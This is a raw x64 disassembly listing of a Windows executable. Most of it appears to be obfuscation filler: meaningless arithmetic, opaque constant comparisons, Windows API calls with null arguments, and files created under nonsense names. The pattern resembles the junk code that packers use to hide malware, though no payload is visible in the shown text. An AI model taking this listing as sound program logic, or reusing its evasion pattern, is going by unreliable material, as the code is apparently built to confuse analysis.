mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
jmp 0x1400023c0
mov eax, dword [rsp + 0x19b8]
mov dword [rsp + 0x1a14], eax
cmp dword [rsp + 0x1a14], 0
je 0x140002565
jmp 0x140002644
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x1a18], 0x8384
movzx eax, byte [0x1400c9e90]
cmp eax, 0x25
jge 0x140002642
movzx eax, word [rsp + 0x4cc]
mov dword [rsp + 0x1a1c], eax
cmp dword [rsp + 0x1a1c], 0x5a6
je 0x14000262d
cmp dword [rsp + 0x1a1c], 0x904
je 0x1400025c2
jmp 0x140002642
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
and eax, ecx
movsx ecx, word [section..data]
cmp eax, ecx
jg 0x14000261a
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x19b8], eax
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x19cc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x50], al
jmp 0x140002642
mov rcx, qword [rsp + 0x36c0]
call qword [sym.imp.USER32.dll_GetMenuContextHelpId]
mov dword [rsp + 0x1994], eax
jmp 0x140002676
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x20], rax
movzx r9d, word [rsp + 0x4c8]
movzx r8d, word [rsp + 0x4c8]
mov edx, dword [rsp + 0x1980]
movzx ecx, byte [0x1400c9e90]
call fcn.1400a87f0
movabs rax, 0x71a228bd4876bf
cmp qword [rsp + 0x3608], rax
jne 0x14000274f
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [section..data]
or eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov eax, dword [rsp + 0x1980]
mov rcx, qword [rsp + 0x3640]
mov qword [rsp + 0x36c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x36c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x19bc], eax
movsx eax, word [rsp + 0x4c4]
mov dword [rsp + 0x1a20], eax
cmp dword [rsp + 0x1a20], 0x486
je 0x140002702
cmp dword [rsp + 0x1a20], 0x7b7
je 0x140002732
jmp 0x14000274f
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1978], eax
mov rdx, qword [rsp + 0x3648]
mov ecx, dword [rsp + 0x19b8]
call fcn.1400a8950
jmp 0x14000274f
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x19cc]
mov dword [rsp + 0x1a24], eax
cmp dword [rsp + 0x1a24], 0x562f
je 0x140002786
cmp dword [rsp + 0x1a24], 0x932d
je 0x1400027a8
jmp 0x14000281e
movabs rax, 0x7ec0217c5afb6e
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
jmp 0x14000281e
movzx eax, byte [0x1400c9e90]
cmp eax, 0x84
jle 0x14000281e
mov edx, 0xf2
mov rcx, qword [rsp + 0x35c0]
call qword [sym.imp.USER32.dll_GetWindow]
mov qword [rsp + 0x35c0], rax
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x1994]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4cc]
add eax, 0x569
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x4c4], ax
mov dword [rsp + 0x1a28], 0x440a
mov dword [rsp + 0x1a2c], 0xd253
mov dword [rsp + 0x1a30], 0x857
mov dword [rsp + 0x1a34], 0xecf7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x36d0], rax
movzx eax, word [rsp + 0x4c8]
sub eax, 0x20d
movzx ecx, word [rsp + 0x4cc]
cmp eax, ecx
jne 0x1400029b5
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x1a38], al
cmp byte [rsp + 0x1a38], 0x5f
je 0x1400028ac
jmp 0x14000297b
movabs rax, 0x7e3297703c7ff6
cmp qword [rsp + 0x3608], rax
jbe 0x1400028dd
lea rdx, [rsp + 0x3630]
mov rcx, qword [rsp + 0x36d8]
call qword [sym.imp.USER32.dll_CharToOemW]
mov dword [rsp + 0x1a3c], eax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov dword [rsp + 0x1a40], eax
cmp dword [rsp + 0x1a40], 0x272
je 0x1400028fd
jmp 0x140002951
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
and eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1980], eax
jmp 0x140002979
mov r9, qword [rsp + 0x36e0]
mov r8d, 0x89
mov edx, 0xe
mov rcx, qword [rsp + 0x36e8]
call qword [sym.imp.USER32.dll_DrawIcon]
mov dword [rsp + 0x1a44], eax
jmp 0x1400029b0
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x20], rax
movzx r9d, word [rsp + 0x4c8]
movzx r8d, word [rsp + 0x4cc]
mov rax, qword [rsp + 0x3640]
mov edx, dword [rax]
movzx ecx, byte [0x1400c9e90]
call fcn.1400a87f0
jmp 0x140002aa7
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
add eax, ecx
movsx ecx, word [rsp + 0x4c4]
cmp eax, ecx
jl 0x140002aa7
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1a48], eax
movzx eax, byte [0x1400c9e90]
mov byte [rsp + 0x1a4c], al
cmp byte [rsp + 0x1a4c], 0x7e
je 0x140002a1b
cmp byte [rsp + 0x1a4c], 0xf8
je 0x140002a87
jmp 0x140002aa7
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movabs rax, 0x726b77c0da67a2
mov rcx, qword [rsp + 0x35a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
add eax, 0x1a
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
jmp 0x140002aa7
mov r8d, 0xc4
mov edx, 0x3d
mov rcx, qword [rsp + 0x36b8]
call qword [sym.imp.USER32.dll_RemoveMenu]
mov dword [rsp + 0x1a44], eax
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x36f0], rax
movabs rax, 0x7924de5b91f9a4
cmp qword [rsp + 0x36f0], rax
je 0x140002b77
movabs rax, 0x7aeac12b3ac349
cmp qword [rsp + 0x36f0], rax
je 0x140002ae8
jmp 0x140002c0f
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1a50], eax
cmp dword [rsp + 0x1a50], 0xe5d3
je 0x140002b08
jmp 0x140002b56
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x19bc], eax
mov r8d, 0x33
mov edx, 1
mov rcx, qword [rsp + 0x36c0]
call qword [sym.imp.USER32.dll_RemoveMenu]
mov dword [rsp + 0x1a54], eax
movsx eax, byte [rsp + 0x50]
add eax, 0x41
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
jmp 0x140002b72
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x4c4], ax
jmp 0x140002c0f
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x36f8], rax
movabs rax, 0x75ca3cb439d96a
cmp qword [rsp + 0x36f8], rax
je 0x140002bb1
movabs rax, 0x7b6897c9b07737
cmp qword [rsp + 0x36f8], rax
je 0x140002bef
jmp 0x140002c0f
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
call fcn.1400a7770
jmp 0x140002c0f
movabs rax, 0x7e1a333b68e015
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
movsx ecx, word [section..data]
cmp eax, ecx
jg 0x140002d3b
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
sub eax, 0x2b
movsx ecx, byte [rsp + 0x50]
cmp eax, ecx
jge 0x140002d29
mov eax, dword [rsp + 0x19bc]
mov dword [rsp + 0x1a58], eax
cmp dword [rsp + 0x1a58], 0x2a6a
je 0x140002cec
cmp dword [rsp + 0x1a58], 0x2ebe
je 0x140002ca1
jmp 0x140002d1c
mov r8d, 0x83
mov edx, 0xda
mov rcx, qword [rsp + 0x36b8]
call qword [sym.imp.USER32.dll_RemoveMenu]
mov dword [rsp + 0x1990], eax
mov edx, 0xed
mov rcx, qword [rsp + 0x3700]
call qword [sym.imp.USER32.dll_SetSystemCursor]
mov dword [rsp + 0x1a5c], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
mov dword [rsp + 0x1980], eax
jmp 0x140002d1c
mov eax, dword [rsp + 0x19bc]
mov rcx, qword [rsp + 0x3640]
mov qword [rsp + 0x3708], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3708]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov dword [rsp + 0x1a60], 0x2f7d
jmp 0x140002d3b
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
xor eax, 0x1c
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3648]
mov qword [rsp + 0x3710], rax
movabs rax, 0x765dee4db622a4
cmp qword [rsp + 0x3710], rax
je 0x140002d61
jmp 0x140002da4
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
add eax, 0x56
mov byte [rsp + 0x50], al
lea r9, [rsp + 0x3640]
lea r8, [rsp + 0x1994]
lea rdx, [rsp + 0x1980]
mov rcx, qword [rsp + 0x3718]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x1a3c], eax
jmp 0x1400a7314
movabs rax, 0x7ec0801c2b311f
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov eax, dword [rsp + 0x1994]
mov ecx, dword [rsp + 0x19cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x19cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x1978]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x19cc], eax
movsx eax, byte [rsp + 0x50]
add eax, 0xd
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4c4], ax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1994]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1980]
movzx ecx, al
mov eax, dword [rsp + 0x1978]
sar eax, cl
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov eax, dword [rsp + 0x19cc]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0x3720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3720]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1a48], eax
mov eax, dword [rsp + 0x19d0]
add eax, 0xd8
mov dword [rsp + 0x19d0], eax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
or eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x19bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
add eax, 0x76
mov byte [rsp + 0x50], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx eax, word [rsp + 0x4cc]
sub eax, 0x8dd
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sub eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
and eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
mov word [section..data], ax
cmp dword [rsp + 0x19d0], 0xc8ad
jb 0x140002da4
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1a64], eax
cmp dword [rsp + 0x1a64], 0
je 0x140002ffe
cmp dword [rsp + 0x1a64], 0x7694
je 0x1400a7226
jmp 0x1400a72f1
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sub eax, ecx
mov word [section..data], ax
movabs rax, 0x73ffccd19a1924
mov rcx, qword [rsp + 0x3608]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
movabs rax, 0x7eda84fe1847b2
mov rcx, qword [rsp + 0x3648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x19cc], eax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
and eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
add eax, 0x61
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x1980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movabs rax, 0x7b73a23c80d1cc
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
lea rdx, [rsp + 0x1a00]
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x1a68], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x3728], rax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x50], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov eax, dword [rsp + 0x1a28]
add eax, 0x8b
mov dword [rsp + 0x1a28], eax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1994], eax
mov rax, qword [rsp + 0x35a0]
shl rax, 0xa
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movabs rax, 0x76a10a46e62248
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x19b8], eax
cmp dword [rsp + 0x1a28], 0x5c79
jb 0x140002ffe
lea rax, [rsp + 0x4cc]
mov qword [rsp + 0x3730], rax
mov dword [rsp + 0x1a6c], 0xea19
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov dword [rsp + 0x1a70], eax
cmp dword [rsp + 0x1a70], 0
je 0x1400032c8
jmp 0x140003310
lea rax, [rsp + 0x4c4]
mov qword [rsp + 0x3738], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1400c9004], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x3740], rax
mov rax, qword [rsp + 0x3648]
mov qword [rsp + 0x3748], rax
jmp 0x140003365
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [0x1400c9004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x1978]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x19bc], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
call fcn.1400a7770
movsx eax, word [rsp + 0x4c4]
mov dword [rsp + 0x1a74], eax
cmp dword [rsp + 0x1a74], 0
je 0x140003394
cmp dword [rsp + 0x1a74], 0x636
je 0x14000341a
jmp 0x1400034de
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
mov word [rsp + 0x4d0], ax
mov dword [rsp + 0x1a78], 0xae6c
mov dword [rsp + 0x1a7c], 0x2cec
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.SpecificnessStatelessCropprong
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3750], rax
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400c9008], ax
jmp 0x1400034de
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movabs rax, 0x79a0fe3ad4cbf7
cmp qword [rsp + 0x3608], rax
je 0x1400034de
lea rdx, [rsp + 0x3628]
mov rcx, qword [rsp + 0x3758]
call qword [sym.imp.USER32.dll_InvertRect]
mov dword [rsp + 0x1a3c], eax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d0]
or eax, ecx
mov word [rsp + 0x4cc], ax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
movabs rax, 0x775c7a0e3f364d
mov rcx, qword [rsp + 0x3608]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rcx, qword [rsp + 0x3760]
call qword [sym.imp.USER32.dll_GetParent]
mov qword [rsp + 0x35f0], rax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1a80], eax
mov rax, qword [rsp + 0x3608]
shl rax, 0xcb
movabs rcx, 0x76203653acf7a1
cmp rax, rcx
jbe 0x1400a70b0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.Quicksands_fixed
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3768], rax
movzx eax, byte [0x1400c9e90]
imul eax, eax, 0x20
cmp eax, 0x3d
jg 0x1400036a4
mov eax, dword [rsp + 0x19bc]
mov rcx, qword [rsp + 0x3640]
mov qword [rsp + 0x3770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3770]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [0x1400c9008]
xor eax, ecx
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
mov dword [rsp + 0x1a84], ecx
movzx edx, word [rsp + 0x4d0]
movzx ecx, dl
mov edx, dword [rsp + 0x1a84]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140003619
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x3748]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
lea r9, [rsp + 0x3730]
lea r8, [rsp + 0x1a5c]
lea rdx, [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3778]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x1a54], eax
jmp 0x14000369f
mov rcx, qword [rsp + 0x35c0]
call qword [sym.imp.USER32.dll_GetLastActivePopup]
mov qword [rsp + 0x35c0], rax
mov r8, qword [rsp + 0x3780]
mov rdx, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3788]
call qword [sym.imp.USER32.dll_SetPropW]
mov dword [rsp + 0x1990], eax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x19b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov r9, qword [rsp + 0x3748]
mov rax, qword [rsp + 0x3600]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x3730]
movzx edx, word [rax]
mov rax, qword [rsp + 0x3730]
movzx ecx, word [rax]
call fcn.1400a8030
jmp 0x14000374f
lea rax, [rsp + 0x4c4]
mov qword [rsp + 0x3790], rax
movzx eax, byte [rsp + 0x50]
mov byte [0x1400c9e91], al
mov eax, dword [rsp + 0x19bc]
imul eax, dword [rsp + 0x1978]
mov rcx, qword [rsp + 0x3640]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1980]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140003728
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [0x1400c9e91]
add eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x4d0]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov word [rsp + 0x4c8], ax
movzx ecx, word [rsp + 0x4c4]
call fcn.1400a7ed0
jmp 0x14000374f
movzx eax, word [rsp + 0x4cc]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x4c8]
movzx edx, word [rsp + 0x4d0]
sub ecx, edx
mov dword [rsp + 0x1a88], 0xef88
mov eax, dword [rsp + 0x1980]
mov dword [rsp + 0x1a8c], eax
cmp dword [rsp + 0x1a8c], 0x26a0
je 0x1400a6e5c
cmp dword [rsp + 0x1a8c], 0x5280
je 0x14000378b
jmp 0x1400a6edc
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3648]
movzx ecx, al
mov rax, qword [rsp + 0x35a0]
sar rax, cl
mov qword [rsp + 0x3748], rax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a80]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x3608]
shl rax, 0x3a
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov byte [0x1400c9e91], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1a00], eax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4c8]
add eax, ecx
mov word [rsp + 0x4d0], ax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x19bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movabs rax, 0x7950d48e01b8ba
mov rcx, qword [rsp + 0x3608]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x3748]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a80], eax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [0x1400c9e91]
shl eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sar eax, cl
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d0]
xor eax, ecx
